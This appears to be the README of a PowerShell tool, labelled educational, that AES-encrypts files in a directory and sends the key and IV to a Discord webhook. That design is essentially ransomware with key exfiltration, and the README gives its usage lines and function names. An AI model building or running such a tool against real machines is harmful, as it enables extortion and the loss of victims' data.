⚠️ WARNING: This script is meant for educational purposes ONLY. Misuse of this script may violate laws and regulations. Use it responsibly and at your own risk. ⚠️
This PowerShell script provides a simple mechanism to encrypt or decrypt files using AES encryption. The function E-D
takes various parameters to encrypt or decrypt files within a given directory.
The script also sends the encryption key and initialization vector (IV) to a Discord webhook, thereby allowing remote access to the decryption key.
Note: Transmitting encryption keys over the internet is generally not secure and should not be done in production.
-e
: Specifies encryption mode. (Mandatory for encryption)-d
: Specifies decryption mode. (Mandatory for decryption)-p
: Specifies the path where the target files are located. (Mandatory for both encryption and decryption)-wh
: Specifies the Discord webhook URL. (Mandatory for encryption)
E-D -e -p "C:\Users\$env:USERNAME\Documents\test\" -wh "YOUR WEBHOOK HERE"
E-D -d -p "C:\Users\$env:USERNAME\Documents\test\"
SendToDiscord
: Sends a message to the specified Discord webhook.EncryptFile
: Encrypts a given file.DecryptFile
: Decrypts a given file.